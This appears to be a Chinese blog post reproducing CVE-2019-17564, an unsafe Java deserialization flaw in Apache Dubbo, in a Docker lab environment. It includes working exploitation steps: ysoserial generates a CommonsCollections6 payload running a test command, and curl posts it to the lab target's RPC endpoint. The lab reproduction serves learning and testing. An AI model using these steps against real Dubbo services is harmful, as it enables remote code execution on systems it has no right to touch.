Aapche Dubbo 不安全的 Java 反序列化 (CVE-2019-17564)

本文讲述了ApacheDubbo2.7.4及更早版本中的Java反序列化漏洞,涉及SpringFramework的HttpInvokerServiceExporter,建议避免暴露给不受信任的客户端并推荐使用安全的消息格式。还详细介绍了如何在Docker环境中搭建并利用ysoserial工具触发漏洞。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

漏洞描述

Apache Dubbo 是一个高性能的、基于 Java 的开源 RPC 框架。

Apache Dubbo 支持不同的协议,它的 HTTP 协议处理程序是 Spring Framework 的 .org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter

Spring Framework 的安全警告显示,HttpInvokerServiceExporter中存在不安全的 Java 反序列化,这可能导致 RCE 漏洞:

警告:请注意由于不安全的 Java 反序列化而导致的漏洞:纵的输入流可能导致不需要的代码 因此,不要将 HTTP 调用程序端点暴露给不受信任的客户端 因此,不要将 HTTP 调用程序端点暴露给不受信任的客户端,而仅在您自己的服务之间公开。一般来说,我们强烈建议使用任何其他消息格式(例如 JSON)。

该漏洞影响 Apache Dubbo 2.7.4 及更早版本,在 2.7.5 之后 Dubbo 替换为 .HttpInvokerServiceExportercom.googlecode.jsonrpc4j.JsonRpcServer

参考链接。

漏洞环境及利用

搭建docker环境

访问8080端口

wget https://archive.apache.org/dist/zookeeper/zookeeper-3.3.3/zookeeper-3.3.3.tar.gz

tar  -xvf  zookeeper-3.3.3.tar.gz  

解压后,进入Zookeeper执行bin目录下的zkCli.sh

./zkCli.sh  -server  192.168.232.128:2181

 获取RPC接口名称

ysoserial下载链接 :下载好之后直接将文件拖至kali桌面.

https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar

接着用ysoserial工具生成CommonsCollections6的Payload作为POST Body发送到http://192.168.232.128:8080/org.vulhub.api.CalcService即可触发反序列化漏洞:

java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections6 "touch /tmp/success" > 1.poc                #生成一个创建success的1.poc

curl -XPOST --data-binary @1.poc http://192.168.232.128:8080/org.vulhub.api.CalcService #将Payload作为POST Body发送到靶机.这里记得换成你靶机的IP

这个地方生成payload需要root权限,前面chmod加权限也没有用

可以看到命令执行成功

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值